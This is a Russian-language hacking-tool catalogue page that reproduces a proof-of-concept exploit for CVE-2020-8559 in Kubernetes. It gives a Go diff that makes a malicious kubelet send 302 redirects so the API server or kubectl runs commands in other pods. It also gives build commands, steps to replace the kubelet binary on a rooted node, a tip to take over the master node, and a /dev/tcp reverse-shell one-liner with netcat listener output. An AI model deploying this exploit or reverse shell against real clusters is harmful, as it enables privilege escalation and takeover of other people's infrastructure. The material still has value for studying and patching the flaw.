Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-8559 — This is a PoC exploit for CVE-2020-8559 Kubernetes Vulnerability | Kitploit
Инструменты/GitHubGitHub/tdwyer/cve-2020-8559
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationLateral MovementPost-ExploitationPenetration TestingCloud Security
GitHubtdwyer/cve-2020-8559

CVE-2020-8559

This is a PoC exploit for CVE-2020-8559 Kubernetes Vulnerability

Репозиторий
54146 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт Proof of Concept (PoC) для CVE-2020-8559 Kubernetes

Это только для демонстрационных целей. Используйте только на системах, для которых у вас есть разрешение на выполнение административных действий и на эксплуатацию CVE-2020-8559.

Это PoC для CVE-2020-8559. Эта уязвимость позволяет атакующему, получившему root на узле (Node), выполнять команды в любом другом контейнере в кластере, что позволяет захватить главный узел Kubernetes (Master Node).

Эта уязвимость связана с тем, что сервер API Kubernetes и команда kubectl следуют HTTP-редиректам, а также с тем, что API Kubernetes просто помещает все компоненты запроса API в URL, то есть имя узла, имя Pod, имя контейнера и даже команду. Поэтому, если процесс Kubelet отвечает на /exec, /attach, /portforward или любое действие resource: proxy HTTP-редиректом 302 с заголовком Location, который указывает выполнить другую команду на другом узле в другом контейнере, сервер API Kubernetes или команда kubectl с радостью сделает новый запрос на то, что указано в заголовке Location.

Репозиторий Kubernetes с моим кодом PoC

Вы можете скачать мою форкнутую версию Kubernetes и переключиться на мою ветку, чтобы собрать бинарник kubelet с эксплойтом.
Эта ветка основана на теге v1.15.9.

root@kitploit:~
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git

Разница Git (diff)

root@kitploit:~
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {

        method, path := req.Method, trimURLPath(req.URL.Path)

+       ////
+       ////
+       // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+       ////
+       ////
+       protocol := "https"
+       // If attacking requests from admins using the kubectl command
+       //     host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+       // If attacing the Kubernetes API Server
+       //     host == hostname of the Node the Victim container is running on
+       host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+       namespace := "kube-system"
+       pod := "kcd-7cfbb97c64-p4kf2"
+       container := "kcd"
+       command := "hostname"
+       if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+               fmt.Println("--------------------------------------------------------------")
+               fmt.Println("Sending Redirect")
+               fmt.Println("--------------------------------------------------------------")
+               http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+       }
+
        longRunning := strconv.FormatBool(isLongRunningRequest(path))

        servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()

Настройка

Этот PoC будет просто отправлять HTTP-редирект 302 с жестко закодированным заголовком Location, поэтому вам нужно отредактировать kubernetes/pkg/kubelet/server/server.go и обновить host, namespace, pod, container и command.

Совет: Перечислите все Pods в кластере. Затем настройте это так, чтобы выполнять команды на Pod, работающем на главном узле Kubernetes, чтобы запустить обратную оболочку (reverse shell) обратно к вам и захватить кластер.

Сборка

После настройки атаки соберите вредоносный бинарник kubelet.

root@kitploit:~
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build

Атака

  1. Получите root на узле
  2. Скопируйте вредоносный бинарник kubelet на узел
  3. Остановите процесс kubelet и замените бинарник вредоносным
    Найдите PID процесса kubelet:
    ps aux |grep kubelet
    Убейте процесс kubelet и скопируйте вредоносный бинарник на место:
    sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubelet
  4. Убейте процесс kubelet снова, чтобы он перезапустился с вредоносным бинарником
    Найдите PID процесса kubelet:
    ps aux |grep kubelet
    Убейте процесс kubelet:
    sudo kill $PID
  5. Если настроено на атаку администратора, использующего команду kubectl на своей локальной рабочей станции, эта команда должна вернуть имя хоста контейнера-жертвы вместо контейнера, на котором она должна была быть выполнена
root@kitploit:~
[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2

Вы также можете запустить обратную оболочку обратно к вам из любого контейнера с помощью:

  1. Запустите netcat в режиме прослушивания на вашей рабочей станции
    nc -lv 4444
  2. Используйте эту команду вместо нее, однако вам нужно будет закодировать ее. Я обновлю точный способ после того, как разберусь.
    /bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1

Успех :D

root@kitploit:~
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#
Скачать инструмент